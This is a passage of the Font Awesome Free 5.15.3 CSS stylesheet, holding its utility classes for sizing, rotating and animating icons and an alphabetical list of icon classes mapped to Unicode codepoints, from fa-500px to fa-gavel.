/*!
 * Font Awesome Free 5.15.3 by @fontawesome - https://fontawesome.com
 * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
 */
.fa,
.fas,
.far,
.fal,
.fad,
.fab {
  -moz-osx-font-smoothing: grayscale;
  -webkit-font-smoothing: antialiased;
  display: inline-block;
  font-style: normal;
  font-variant: normal;
  text-rendering: auto;
  line-height: 1; }

.fa-lg {
  font-size: 1.33333em;
  line-height: 0.75em;
  vertical-align: -.0667em; }

.fa-xs {
  font-size: .75em; }

.fa-sm {
  font-size: .875em; }

.fa-1x {
  font-size: 1em; }

.fa-2x {
  font-size: 2em; }

.fa-3x {
  font-size: 3em; }

.fa-4x {
  font-size: 4em; }

.fa-5x {
  font-size: 5em; }

.fa-6x {
  font-size: 6em; }

.fa-7x {
  font-size: 7em; }

.fa-8x {
  font-size: 8em; }

.fa-9x {
  font-size: 9em; }

.fa-10x {
  font-size: 10em; }

.fa-fw {
  text-align: center;
  width: 1.25em; }

.fa-ul {
  list-style-type: none;
  margin-left: 2.5em;
  padding-left: 0; }
  .fa-ul > li {
    position: relative; }

.fa-li {
  left: -2em;
  position: absolute;
  text-align: center;
  width: 2em;
  line-height: inherit; }

.fa-border {
  border: solid 0.08em #eee;
  border-radius: .1em;
  padding: .2em .25em .15em; }

.fa-pull-left {
  float: left; }

.fa-pull-right {
  float: right; }

.fa.fa-pull-left,
.fas.fa-pull-left,
.far.fa-pull-left,
.fal.fa-pull-left,
.fab.fa-pull-left {
  margin-right: .3em; }

.fa.fa-pull-right,
.fas.fa-pull-right,
.far.fa-pull-right,
.fal.fa-pull-right,
.fab.fa-pull-right {
  margin-left: .3em; }

.fa-spin {
  -webkit-animation: fa-spin 2s infinite linear;
          animation: fa-spin 2s infinite linear; }

.fa-pulse {
  -webkit-animation: fa-spin 1s infinite steps(8);
          animation: fa-spin 1s infinite steps(8); }

@-webkit-keyframes fa-spin {
  0% {
    -webkit-transform: rotate(0deg);
            transform: rotate(0deg); }
  100% {
    -webkit-transform: rotate(360deg);
            transform: rotate(360deg); } }

@keyframes fa-spin {
  0% {
    -webkit-transform: rotate(0deg);
            transform: rotate(0deg); }
  100% {
    -webkit-transform: rotate(360deg);
            transform: rotate(360deg); } }

.fa-rotate-90 {
  -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";
  -webkit-transform: rotate(90deg);
          transform: rotate(90deg); }

.fa-rotate-180 {
  -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";
  -webkit-transform: rotate(180deg);
          transform: rotate(180deg); }

.fa-rotate-270 {
  -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";
  -webkit-transform: rotate(270deg);
          transform: rotate(270deg); }

.fa-flip-horizontal {
  -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";
  -webkit-transform: scale(-1, 1);
          transform: scale(-1, 1); }

.fa-flip-vertical {
  -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";
  -webkit-transform: scale(1, -1);
          transform: scale(1, -1); }

.fa-flip-both, .fa-flip-horizontal.fa-flip-vertical {
  -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";
  -webkit-transform: scale(-1, -1);
          transform: scale(-1, -1); }

:root .fa-rotate-90,
:root .fa-rotate-180,
:root .fa-rotate-270,
:root .fa-flip-horizontal,
:root .fa-flip-vertical,
:root .fa-flip-both {
  -webkit-filter: none;
          filter: none; }

.fa-stack {
  display: inline-block;
  height: 2em;
  line-height: 2em;
  position: relative;
  vertical-align: middle;
  width: 2.5em; }

.fa-stack-1x,
.fa-stack-2x {
  left: 0;
  position: absolute;
  text-align: center;
  width: 100%; }

.fa-stack-1x {
  line-height: inherit; }

.fa-stack-2x {
  font-size: 2em; }

.fa-inverse {
  color: #fff; }

/* Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen
readers do not read off random characters that represent icons */
.fa-500px:before {
  content: "\f26e"; }

.fa-accessible-icon:before {
  content: "\f368"; }

.fa-accusoft:before {
  content: "\f369"; }

.fa-acquisitions-incorporated:before {
  content: "\f6af"; }

.fa-ad:before {
  content: "\f641"; }

.fa-address-book:before {
  content: "\f2b9"; }

.fa-address-card:before {
  content: "\f2bb"; }

.fa-adjust:before {
  content: "\f042"; }

.fa-adn:before {
  content: "\f170"; }

.fa-adversal:before {
  content: "\f36a"; }

.fa-affiliatetheme:before {
  content: "\f36b"; }

.fa-air-freshener:before {
  content: "\f5d0"; }

.fa-airbnb:before {
  content: "\f834"; }

.fa-algolia:before {
  content: "\f36c"; }

.fa-align-center:before {
  content: "\f037"; }

.fa-align-justify:before {
  content: "\f039"; }

.fa-align-left:before {
  content: "\f036"; }

.fa-align-right:before {
  content: "\f038"; }

.fa-alipay:before {
  content: "\f642"; }

.fa-allergies:before {
  content: "\f461"; }

.fa-amazon:before {
  content: "\f270"; }

.fa-amazon-pay:before {
  content: "\f42c"; }

.fa-ambulance:before {
  content: "\f0f9"; }

.fa-american-sign-language-interpreting:before {
  content: "\f2a3"; }

.fa-amilia:before {
  content: "\f36d"; }

.fa-anchor:before {
  content: "\f13d"; }

.fa-android:before {
  content: "\f17b"; }

.fa-angellist:before {
  content: "\f209"; }

.fa-angle-double-down:before {
  content: "\f103"; }

.fa-angle-double-left:before {
  content: "\f100"; }

.fa-angle-double-right:before {
  content: "\f101"; }

.fa-angle-double-up:before {
  content: "\f102"; }

.fa-angle-down:before {
  content: "\f107"; }

.fa-angle-left:before {
  content: "\f104"; }

.fa-angle-right:before {
  content: "\f105"; }

.fa-angle-up:before {
  content: "\f106"; }

.fa-angry:before {
  content: "\f556"; }

.fa-angrycreative:before {
  content: "\f36e"; }

.fa-angular:before {
  content: "\f420"; }

.fa-ankh:before {
  content: "\f644"; }

.fa-app-store:before {
  content: "\f36f"; }

.fa-app-store-ios:before {
  content: "\f370"; }

.fa-apper:before {
  content: "\f371"; }

.fa-apple:before {
  content: "\f179"; }

.fa-apple-alt:before {
  content: "\f5d1"; }

.fa-apple-pay:before {
  content: "\f415"; }

.fa-archive:before {
  content: "\f187"; }

.fa-archway:before {
  content: "\f557"; }

.fa-arrow-alt-circle-down:before {
  content: "\f358"; }

.fa-arrow-alt-circle-left:before {
  content: "\f359"; }

.fa-arrow-alt-circle-right:before {
  content: "\f35a"; }

.fa-arrow-alt-circle-up:before {
  content: "\f35b"; }

.fa-arrow-circle-down:before {
  content: "\f0ab"; }

.fa-arrow-circle-left:before {
  content: "\f0a8"; }

.fa-arrow-circle-right:before {
  content: "\f0a9"; }

.fa-arrow-circle-up:before {
  content: "\f0aa"; }

.fa-arrow-down:before {
  content: "\f063"; }

.fa-arrow-left:before {
  content: "\f060"; }

.fa-arrow-right:before {
  content: "\f061"; }

.fa-arrow-up:before {
  content: "\f062"; }

.fa-arrows-alt:before {
  content: "\f0b2"; }

.fa-arrows-alt-h:before {
  content: "\f337"; }

.fa-arrows-alt-v:before {
  content: "\f338"; }

.fa-artstation:before {
  content: "\f77a"; }

.fa-assistive-listening-systems:before {
  content: "\f2a2"; }

.fa-asterisk:before {
  content: "\f069"; }

.fa-asymmetrik:before {
  content: "\f372"; }

.fa-at:before {
  content: "\f1fa"; }

.fa-atlas:before {
  content: "\f558"; }

.fa-atlassian:before {
  content: "\f77b"; }

.fa-atom:before {
  content: "\f5d2"; }

.fa-audible:before {
  content: "\f373"; }

.fa-audio-description:before {
  content: "\f29e"; }

.fa-autoprefixer:before {
  content: "\f41c"; }

.fa-avianex:before {
  content: "\f374"; }

.fa-aviato:before {
  content: "\f421"; }

.fa-award:before {
  content: "\f559"; }

.fa-aws:before {
  content: "\f375"; }

.fa-baby:before {
  content: "\f77c"; }

.fa-baby-carriage:before {
  content: "\f77d"; }

.fa-backspace:before {
  content: "\f55a"; }

.fa-backward:before {
  content: "\f04a"; }

.fa-bacon:before {
  content: "\f7e5"; }

.fa-bacteria:before {
  content: "\e059"; }

.fa-bacterium:before {
  content: "\e05a"; }

.fa-bahai:before {
  content: "\f666"; }

.fa-balance-scale:before {
  content: "\f24e"; }

.fa-balance-scale-left:before {
  content: "\f515"; }

.fa-balance-scale-right:before {
  content: "\f516"; }

.fa-ban:before {
  content: "\f05e"; }

.fa-band-aid:before {
  content: "\f462"; }

.fa-bandcamp:before {
  content: "\f2d5"; }

.fa-barcode:before {
  content: "\f02a"; }

.fa-bars:before {
  content: "\f0c9"; }

.fa-baseball-ball:before {
  content: "\f433"; }

.fa-basketball-ball:before {
  content: "\f434"; }

.fa-bath:before {
  content: "\f2cd"; }

.fa-battery-empty:before {
  content: "\f244"; }

.fa-battery-full:before {
  content: "\f240"; }

.fa-battery-half:before {
  content: "\f242"; }

.fa-battery-quarter:before {
  content: "\f243"; }

.fa-battery-three-quarters:before {
  content: "\f241"; }

.fa-battle-net:before {
  content: "\f835"; }

.fa-bed:before {
  content: "\f236"; }

.fa-beer:before {
  content: "\f0fc"; }

.fa-behance:before {
  content: "\f1b4"; }

.fa-behance-square:before {
  content: "\f1b5"; }

.fa-bell:before {
  content: "\f0f3"; }

.fa-bell-slash:before {
  content: "\f1f6"; }

.fa-bezier-curve:before {
  content: "\f55b"; }

.fa-bible:before {
  content: "\f647"; }

.fa-bicycle:before {
  content: "\f206"; }

.fa-biking:before {
  content: "\f84a"; }

.fa-bimobject:before {
  content: "\f378"; }

.fa-binoculars:before {
  content: "\f1e5"; }

.fa-biohazard:before {
  content: "\f780"; }

.fa-birthday-cake:before {
  content: "\f1fd"; }

.fa-bitbucket:before {
  content: "\f171"; }

.fa-bitcoin:before {
  content: "\f379"; }

.fa-bity:before {
  content: "\f37a"; }

.fa-black-tie:before {
  content: "\f27e"; }

.fa-blackberry:before {
  content: "\f37b"; }

.fa-blender:before {
  content: "\f517"; }

.fa-blender-phone:before {
  content: "\f6b6"; }

.fa-blind:before {
  content: "\f29d"; }

.fa-blog:before {
  content: "\f781"; }

.fa-blogger:before {
  content: "\f37c"; }

.fa-blogger-b:before {
  content: "\f37d"; }

.fa-bluetooth:before {
  content: "\f293"; }

.fa-bluetooth-b:before {
  content: "\f294"; }

.fa-bold:before {
  content: "\f032"; }

.fa-bolt:before {
  content: "\f0e7"; }

.fa-bomb:before {
  content: "\f1e2"; }

.fa-bone:before {
  content: "\f5d7"; }

.fa-bong:before {
  content: "\f55c"; }

.fa-book:before {
  content: "\f02d"; }

.fa-book-dead:before {
  content: "\f6b7"; }

.fa-book-medical:before {
  content: "\f7e6"; }

.fa-book-open:before {
  content: "\f518"; }

.fa-book-reader:before {
  content: "\f5da"; }

.fa-bookmark:before {
  content: "\f02e"; }

.fa-bootstrap:before {
  content: "\f836"; }

.fa-border-all:before {
  content: "\f84c"; }

.fa-border-none:before {
  content: "\f850"; }

.fa-border-style:before {
  content: "\f853"; }

.fa-bowling-ball:before {
  content: "\f436"; }

.fa-box:before {
  content: "\f466"; }

.fa-box-open:before {
  content: "\f49e"; }

.fa-box-tissue:before {
  content: "\e05b"; }

.fa-boxes:before {
  content: "\f468"; }

.fa-braille:before {
  content: "\f2a1"; }

.fa-brain:before {
  content: "\f5dc"; }

.fa-bread-slice:before {
  content: "\f7ec"; }

.fa-briefcase:before {
  content: "\f0b1"; }

.fa-briefcase-medical:before {
  content: "\f469"; }

.fa-broadcast-tower:before {
  content: "\f519"; }

.fa-broom:before {
  content: "\f51a"; }

.fa-brush:before {
  content: "\f55d"; }

.fa-btc:before {
  content: "\f15a"; }

.fa-buffer:before {
  content: "\f837"; }

.fa-bug:before {
  content: "\f188"; }

.fa-building:before {
  content: "\f1ad"; }

.fa-bullhorn:before {
  content: "\f0a1"; }

.fa-bullseye:before {
  content: "\f140"; }

.fa-burn:before {
  content: "\f46a"; }

.fa-buromobelexperte:before {
  content: "\f37f"; }

.fa-bus:before {
  content: "\f207"; }

.fa-bus-alt:before {
  content: "\f55e"; }

.fa-business-time:before {
  content: "\f64a"; }

.fa-buy-n-large:before {
  content: "\f8a6"; }

.fa-buysellads:before {
  content: "\f20d"; }

.fa-calculator:before {
  content: "\f1ec"; }

.fa-calendar:before {
  content: "\f133"; }

.fa-calendar-alt:before {
  content: "\f073"; }

.fa-calendar-check:before {
  content: "\f274"; }

.fa-calendar-day:before {
  content: "\f783"; }

.fa-calendar-minus:before {
  content: "\f272"; }

.fa-calendar-plus:before {
  content: "\f271"; }

.fa-calendar-times:before {
  content: "\f273"; }

.fa-calendar-week:before {
  content: "\f784"; }

.fa-camera:before {
  content: "\f030"; }

.fa-camera-retro:before {
  content: "\f083"; }

.fa-campground:before {
  content: "\f6bb"; }

.fa-canadian-maple-leaf:before {
  content: "\f785"; }

.fa-candy-cane:before {
  content: "\f786"; }

.fa-cannabis:before {
  content: "\f55f"; }

.fa-capsules:before {
  content: "\f46b"; }

.fa-car:before {
  content: "\f1b9"; }

.fa-car-alt:before {
  content: "\f5de"; }

.fa-car-battery:before {
  content: "\f5df"; }

.fa-car-crash:before {
  content: "\f5e1"; }

.fa-car-side:before {
  content: "\f5e4"; }

.fa-caravan:before {
  content: "\f8ff"; }

.fa-caret-down:before {
  content: "\f0d7"; }

.fa-caret-left:before {
  content: "\f0d9"; }

.fa-caret-right:before {
  content: "\f0da"; }

.fa-caret-square-down:before {
  content: "\f150"; }

.fa-caret-square-left:before {
  content: "\f191"; }

.fa-caret-square-right:before {
  content: "\f152"; }

.fa-caret-square-up:before {
  content: "\f151"; }

.fa-caret-up:before {
  content: "\f0d8"; }

.fa-carrot:before {
  content: "\f787"; }

.fa-cart-arrow-down:before {
  content: "\f218"; }

.fa-cart-plus:before {
  content: "\f217"; }

.fa-cash-register:before {
  content: "\f788"; }

.fa-cat:before {
  content: "\f6be"; }

.fa-cc-amazon-pay:before {
  content: "\f42d"; }

.fa-cc-amex:before {
  content: "\f1f3"; }

.fa-cc-apple-pay:before {
  content: "\f416"; }

.fa-cc-diners-club:before {
  content: "\f24c"; }

.fa-cc-discover:before {
  content: "\f1f2"; }

.fa-cc-jcb:before {
  content: "\f24b"; }

.fa-cc-mastercard:before {
  content: "\f1f1"; }

.fa-cc-paypal:before {
  content: "\f1f4"; }

.fa-cc-stripe:before {
  content: "\f1f5"; }

.fa-cc-visa:before {
  content: "\f1f0"; }

.fa-centercode:before {
  content: "\f380"; }

.fa-centos:before {
  content: "\f789"; }

.fa-certificate:before {
  content: "\f0a3"; }

.fa-chair:before {
  content: "\f6c0"; }

.fa-chalkboard:before {
  content: "\f51b"; }

.fa-chalkboard-teacher:before {
  content: "\f51c"; }

.fa-charging-station:before {
  content: "\f5e7"; }

.fa-chart-area:before {
  content: "\f1fe"; }

.fa-chart-bar:before {
  content: "\f080"; }

.fa-chart-line:before {
  content: "\f201"; }

.fa-chart-pie:before {
  content: "\f200"; }

.fa-check:before {
  content: "\f00c"; }

.fa-check-circle:before {
  content: "\f058"; }

.fa-check-double:before {
  content: "\f560"; }

.fa-check-square:before {
  content: "\f14a"; }

.fa-cheese:before {
  content: "\f7ef"; }

.fa-chess:before {
  content: "\f439"; }

.fa-chess-bishop:before {
  content: "\f43a"; }

.fa-chess-board:before {
  content: "\f43c"; }

.fa-chess-king:before {
  content: "\f43f"; }

.fa-chess-knight:before {
  content: "\f441"; }

.fa-chess-pawn:before {
  content: "\f443"; }

.fa-chess-queen:before {
  content: "\f445"; }

.fa-chess-rook:before {
  content: "\f447"; }

.fa-chevron-circle-down:before {
  content: "\f13a"; }

.fa-chevron-circle-left:before {
  content: "\f137"; }

.fa-chevron-circle-right:before {
  content: "\f138"; }

.fa-chevron-circle-up:before {
  content: "\f139"; }

.fa-chevron-down:before {
  content: "\f078"; }

.fa-chevron-left:before {
  content: "\f053"; }

.fa-chevron-right:before {
  content: "\f054"; }

.fa-chevron-up:before {
  content: "\f077"; }

.fa-child:before {
  content: "\f1ae"; }

.fa-chrome:before {
  content: "\f268"; }

.fa-chromecast:before {
  content: "\f838"; }

.fa-church:before {
  content: "\f51d"; }

.fa-circle:before {
  content: "\f111"; }

.fa-circle-notch:before {
  content: "\f1ce"; }

.fa-city:before {
  content: "\f64f"; }

.fa-clinic-medical:before {
  content: "\f7f2"; }

.fa-clipboard:before {
  content: "\f328"; }

.fa-clipboard-check:before {
  content: "\f46c"; }

.fa-clipboard-list:before {
  content: "\f46d"; }

.fa-clock:before {
  content: "\f017"; }

.fa-clone:before {
  content: "\f24d"; }

.fa-closed-captioning:before {
  content: "\f20a"; }

.fa-cloud:before {
  content: "\f0c2"; }

.fa-cloud-download-alt:before {
  content: "\f381"; }

.fa-cloud-meatball:before {
  content: "\f73b"; }

.fa-cloud-moon:before {
  content: "\f6c3"; }

.fa-cloud-moon-rain:before {
  content: "\f73c"; }

.fa-cloud-rain:before {
  content: "\f73d"; }

.fa-cloud-showers-heavy:before {
  content: "\f740"; }

.fa-cloud-sun:before {
  content: "\f6c4"; }

.fa-cloud-sun-rain:before {
  content: "\f743"; }

.fa-cloud-upload-alt:before {
  content: "\f382"; }

.fa-cloudflare:before {
  content: "\e07d"; }

.fa-cloudscale:before {
  content: "\f383"; }

.fa-cloudsmith:before {
  content: "\f384"; }

.fa-cloudversify:before {
  content: "\f385"; }

.fa-cocktail:before {
  content: "\f561"; }

.fa-code:before {
  content: "\f121"; }

.fa-code-branch:before {
  content: "\f126"; }

.fa-codepen:before {
  content: "\f1cb"; }

.fa-codiepie:before {
  content: "\f284"; }

.fa-coffee:before {
  content: "\f0f4"; }

.fa-cog:before {
  content: "\f013"; }

.fa-cogs:before {
  content: "\f085"; }

.fa-coins:before {
  content: "\f51e"; }

.fa-columns:before {
  content: "\f0db"; }

.fa-comment:before {
  content: "\f075"; }

.fa-comment-alt:before {
  content: "\f27a"; }

.fa-comment-dollar:before {
  content: "\f651"; }

.fa-comment-dots:before {
  content: "\f4ad"; }

.fa-comment-medical:before {
  content: "\f7f5"; }

.fa-comment-slash:before {
  content: "\f4b3"; }

.fa-comments:before {
  content: "\f086"; }

.fa-comments-dollar:before {
  content: "\f653"; }

.fa-compact-disc:before {
  content: "\f51f"; }

.fa-compass:before {
  content: "\f14e"; }

.fa-compress:before {
  content: "\f066"; }

.fa-compress-alt:before {
  content: "\f422"; }

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  content: "\f78c"; }

.fa-concierge-bell:before {
  content: "\f562"; }

.fa-confluence:before {
  content: "\f78d"; }

.fa-connectdevelop:before {
  content: "\f20e"; }

.fa-contao:before {
  content: "\f26d"; }

.fa-cookie:before {
  content: "\f563"; }

.fa-cookie-bite:before {
  content: "\f564"; }

.fa-copy:before {
  content: "\f0c5"; }

.fa-copyright:before {
  content: "\f1f9"; }

.fa-cotton-bureau:before {
  content: "\f89e"; }

.fa-couch:before {
  content: "\f4b8"; }

.fa-cpanel:before {
  content: "\f388"; }

.fa-creative-commons:before {
  content: "\f25e"; }

.fa-creative-commons-by:before {
  content: "\f4e7"; }

.fa-creative-commons-nc:before {
  content: "\f4e8"; }

.fa-creative-commons-nc-eu:before {
  content: "\f4e9"; }

.fa-creative-commons-nc-jp:before {
  content: "\f4ea"; }

.fa-creative-commons-nd:before {
  content: "\f4eb"; }

.fa-creative-commons-pd:before {
  content: "\f4ec"; }

.fa-creative-commons-pd-alt:before {
  content: "\f4ed"; }

.fa-creative-commons-remix:before {
  content: "\f4ee"; }

.fa-creative-commons-sa:before {
  content: "\f4ef"; }

.fa-creative-commons-sampling:before {
  content: "\f4f0"; }

.fa-creative-commons-sampling-plus:before {
  content: "\f4f1"; }

.fa-creative-commons-share:before {
  content: "\f4f2"; }

.fa-creative-commons-zero:before {
  content: "\f4f3"; }

.fa-credit-card:before {
  content: "\f09d"; }

.fa-critical-role:before {
  content: "\f6c9"; }

.fa-crop:before {
  content: "\f125"; }

.fa-crop-alt:before {
  content: "\f565"; }

.fa-cross:before {
  content: "\f654"; }

.fa-crosshairs:before {
  content: "\f05b"; }

.fa-crow:before {
  content: "\f520"; }

.fa-crown:before {
  content: "\f521"; }

.fa-crutch:before {
  content: "\f7f7"; }

.fa-css3:before {
  content: "\f13c"; }

.fa-css3-alt:before {
  content: "\f38b"; }

.fa-cube:before {
  content: "\f1b2"; }

.fa-cubes:before {
  content: "\f1b3"; }

.fa-cut:before {
  content: "\f0c4"; }

.fa-cuttlefish:before {
  content: "\f38c"; }

.fa-d-and-d:before {
  content: "\f38d"; }

.fa-d-and-d-beyond:before {
  content: "\f6ca"; }

.fa-dailymotion:before {
  content: "\e052"; }

.fa-dashcube:before {
  content: "\f210"; }

.fa-database:before {
  content: "\f1c0"; }

.fa-deaf:before {
  content: "\f2a4"; }

.fa-deezer:before {
  content: "\e077"; }

.fa-delicious:before {
  content: "\f1a5"; }

.fa-democrat:before {
  content: "\f747"; }

.fa-deploydog:before {
  content: "\f38e"; }

.fa-deskpro:before {
  content: "\f38f"; }

.fa-desktop:before {
  content: "\f108"; }

.fa-dev:before {
  content: "\f6cc"; }

.fa-deviantart:before {
  content: "\f1bd"; }

.fa-dharmachakra:before {
  content: "\f655"; }

.fa-dhl:before {
  content: "\f790"; }

.fa-diagnoses:before {
  content: "\f470"; }

.fa-diaspora:before {
  content: "\f791"; }

.fa-dice:before {
  content: "\f522"; }

.fa-dice-d20:before {
  content: "\f6cf"; }

.fa-dice-d6:before {
  content: "\f6d1"; }

.fa-dice-five:before {
  content: "\f523"; }

.fa-dice-four:before {
  content: "\f524"; }

.fa-dice-one:before {
  content: "\f525"; }

.fa-dice-six:before {
  content: "\f526"; }

.fa-dice-three:before {
  content: "\f527"; }

.fa-dice-two:before {
  content: "\f528"; }

.fa-digg:before {
  content: "\f1a6"; }

.fa-digital-ocean:before {
  content: "\f391"; }

.fa-digital-tachograph:before {
  content: "\f566"; }

.fa-directions:before {
  content: "\f5eb"; }

.fa-discord:before {
  content: "\f392"; }

.fa-discourse:before {
  content: "\f393"; }

.fa-disease:before {
  content: "\f7fa"; }

.fa-divide:before {
  content: "\f529"; }

.fa-dizzy:before {
  content: "\f567"; }

.fa-dna:before {
  content: "\f471"; }

.fa-dochub:before {
  content: "\f394"; }

.fa-docker:before {
  content: "\f395"; }

.fa-dog:before {
  content: "\f6d3"; }

.fa-dollar-sign:before {
  content: "\f155"; }

.fa-dolly:before {
  content: "\f472"; }

.fa-dolly-flatbed:before {
  content: "\f474"; }

.fa-donate:before {
  content: "\f4b9"; }

.fa-door-closed:before {
  content: "\f52a"; }

.fa-door-open:before {
  content: "\f52b"; }

.fa-dot-circle:before {
  content: "\f192"; }

.fa-dove:before {
  content: "\f4ba"; }

.fa-download:before {
  content: "\f019"; }

.fa-draft2digital:before {
  content: "\f396"; }

.fa-drafting-compass:before {
  content: "\f568"; }

.fa-dragon:before {
  content: "\f6d5"; }

.fa-draw-polygon:before {
  content: "\f5ee"; }

.fa-dribbble:before {
  content: "\f17d"; }

.fa-dribbble-square:before {
  content: "\f397"; }

.fa-dropbox:before {
  content: "\f16b"; }

.fa-drum:before {
  content: "\f569"; }

.fa-drum-steelpan:before {
  content: "\f56a"; }

.fa-drumstick-bite:before {
  content: "\f6d7"; }

.fa-drupal:before {
  content: "\f1a9"; }

.fa-dumbbell:before {
  content: "\f44b"; }

.fa-dumpster:before {
  content: "\f793"; }

.fa-dumpster-fire:before {
  content: "\f794"; }

.fa-dungeon:before {
  content: "\f6d9"; }

.fa-dyalog:before {
  content: "\f399"; }

.fa-earlybirds:before {
  content: "\f39a"; }

.fa-ebay:before {
  content: "\f4f4"; }

.fa-edge:before {
  content: "\f282"; }

.fa-edge-legacy:before {
  content: "\e078"; }

.fa-edit:before {
  content: "\f044"; }

.fa-egg:before {
  content: "\f7fb"; }

.fa-eject:before {
  content: "\f052"; }

.fa-elementor:before {
  content: "\f430"; }

.fa-ellipsis-h:before {
  content: "\f141"; }

.fa-ellipsis-v:before {
  content: "\f142"; }

.fa-ello:before {
  content: "\f5f1"; }

.fa-ember:before {
  content: "\f423"; }

.fa-empire:before {
  content: "\f1d1"; }

.fa-envelope:before {
  content: "\f0e0"; }

.fa-envelope-open:before {
  content: "\f2b6"; }

.fa-envelope-open-text:before {
  content: "\f658"; }

.fa-envelope-square:before {
  content: "\f199"; }

.fa-envira:before {
  content: "\f299"; }

.fa-equals:before {
  content: "\f52c"; }

.fa-eraser:before {
  content: "\f12d"; }

.fa-erlang:before {
  content: "\f39d"; }

.fa-ethereum:before {
  content: "\f42e"; }

.fa-ethernet:before {
  content: "\f796"; }

.fa-etsy:before {
  content: "\f2d7"; }

.fa-euro-sign:before {
  content: "\f153"; }

.fa-evernote:before {
  content: "\f839"; }

.fa-exchange-alt:before {
  content: "\f362"; }

.fa-exclamation:before {
  content: "\f12a"; }

.fa-exclamation-circle:before {
  content: "\f06a"; }

.fa-exclamation-triangle:before {
  content: "\f071"; }

.fa-expand:before {
  content: "\f065"; }

.fa-expand-alt:before {
  content: "\f424"; }

.fa-expand-arrows-alt:before {
  content: "\f31e"; }

.fa-expeditedssl:before {
  content: "\f23e"; }

.fa-external-link-alt:before {
  content: "\f35d"; }

.fa-external-link-square-alt:before {
  content: "\f360"; }

.fa-eye:before {
  content: "\f06e"; }

.fa-eye-dropper:before {
  content: "\f1fb"; }

.fa-eye-slash:before {
  content: "\f070"; }

.fa-facebook:before {
  content: "\f09a"; }

.fa-facebook-f:before {
  content: "\f39e"; }

.fa-facebook-messenger:before {
  content: "\f39f"; }

.fa-facebook-square:before {
  content: "\f082"; }

.fa-fan:before {
  content: "\f863"; }

.fa-fantasy-flight-games:before {
  content: "\f6dc"; }

.fa-fast-backward:before {
  content: "\f049"; }

.fa-fast-forward:before {
  content: "\f050"; }

.fa-faucet:before {
  content: "\e005"; }

.fa-fax:before {
  content: "\f1ac"; }

.fa-feather:before {
  content: "\f52d"; }

.fa-feather-alt:before {
  content: "\f56b"; }

.fa-fedex:before {
  content: "\f797"; }

.fa-fedora:before {
  content: "\f798"; }

.fa-female:before {
  content: "\f182"; }

.fa-fighter-jet:before {
  content: "\f0fb"; }

.fa-figma:before {
  content: "\f799"; }

.fa-file:before {
  content: "\f15b"; }

.fa-file-alt:before {
  content: "\f15c"; }

.fa-file-archive:before {
  content: "\f1c6"; }

.fa-file-audio:before {
  content: "\f1c7"; }

.fa-file-code:before {
  content: "\f1c9"; }

.fa-file-contract:before {
  content: "\f56c"; }

.fa-file-csv:before {
  content: "\f6dd"; }

.fa-file-download:before {
  content: "\f56d"; }

.fa-file-excel:before {
  content: "\f1c3"; }

.fa-file-export:before {
  content: "\f56e"; }

.fa-file-image:before {
  content: "\f1c5"; }

.fa-file-import:before {
  content: "\f56f"; }

.fa-file-invoice:before {
  content: "\f570"; }

.fa-file-invoice-dollar:before {
  content: "\f571"; }

.fa-file-medical:before {
  content: "\f477"; }

.fa-file-medical-alt:before {
  content: "\f478"; }

.fa-file-pdf:before {
  content: "\f1c1"; }

.fa-file-powerpoint:before {
  content: "\f1c4"; }

.fa-file-prescription:before {
  content: "\f572"; }

.fa-file-signature:before {
  content: "\f573"; }

.fa-file-upload:before {
  content: "\f574"; }

.fa-file-video:before {
  content: "\f1c8"; }

.fa-file-word:before {
  content: "\f1c2"; }

.fa-fill:before {
  content: "\f575"; }

.fa-fill-drip:before {
  content: "\f576"; }

.fa-film:before {
  content: "\f008"; }

.fa-filter:before {
  content: "\f0b0"; }

.fa-fingerprint:before {
  content: "\f577"; }

.fa-fire:before {
  content: "\f06d"; }

.fa-fire-alt:before {
  content: "\f7e4"; }

.fa-fire-extinguisher:before {
  content: "\f134"; }

.fa-firefox:before {
  content: "\f269"; }

.fa-firefox-browser:before {
  content: "\e007"; }

.fa-first-aid:before {
  content: "\f479"; }

.fa-first-order:before {
  content: "\f2b0"; }

.fa-first-order-alt:before {
  content: "\f50a"; }

.fa-firstdraft:before {
  content: "\f3a1"; }

.fa-fish:before {
  content: "\f578"; }

.fa-fist-raised:before {
  content: "\f6de"; }

.fa-flag:before {
  content: "\f024"; }

.fa-flag-checkered:before {
  content: "\f11e"; }

.fa-flag-usa:before {
  content: "\f74d"; }

.fa-flask:before {
  content: "\f0c3"; }

.fa-flickr:before {
  content: "\f16e"; }

.fa-flipboard:before {
  content: "\f44d"; }

.fa-flushed:before {
  content: "\f579"; }

.fa-fly:before {
  content: "\f417"; }

.fa-folder:before {
  content: "\f07b"; }

.fa-folder-minus:before {
  content: "\f65d"; }

.fa-folder-open:before {
  content: "\f07c"; }

.fa-folder-plus:before {
  content: "\f65e"; }

.fa-font:before {
  content: "\f031"; }

.fa-font-awesome:before {
  content: "\f2b4"; }

.fa-font-awesome-alt:before {
  content: "\f35c"; }

.fa-font-awesome-flag:before {
  content: "\f425"; }

.fa-font-awesome-logo-full:before {
  content: "\f4e6"; }

.fa-fonticons:before {
  content: "\f280"; }

.fa-fonticons-fi:before {
  content: "\f3a2"; }

.fa-football-ball:before {
  content: "\f44e"; }

.fa-fort-awesome:before {
  content: "\f286"; }

.fa-fort-awesome-alt:before {
  content: "\f3a3"; }

.fa-forumbee:before {
  content: "\f211"; }

.fa-forward:before {
  content: "\f04e"; }

.fa-foursquare:before {
  content: "\f180"; }

.fa-free-code-camp:before {
  content: "\f2c5"; }

.fa-freebsd:before {
  content: "\f3a4"; }

.fa-frog:before {
  content: "\f52e"; }

.fa-frown:before {
  content: "\f119"; }

.fa-frown-open:before {
  content: "\f57a"; }

.fa-fulcrum:before {
  content: "\f50b"; }

.fa-funnel-dollar:before {
  content: "\f662"; }

.fa-futbol:before {
  content: "\f1e3"; }

.fa-galactic-republic:before {
  content: "\f50c"; }

.fa-galactic-senate:before {
  content: "\f50d"; }

.fa-gamepad:before {
  content: "\f11b"; }

.fa-gas-pump:before {
  content: "\f52f"; }

.fa-gavel:before {
  content: "\f0e3"; }

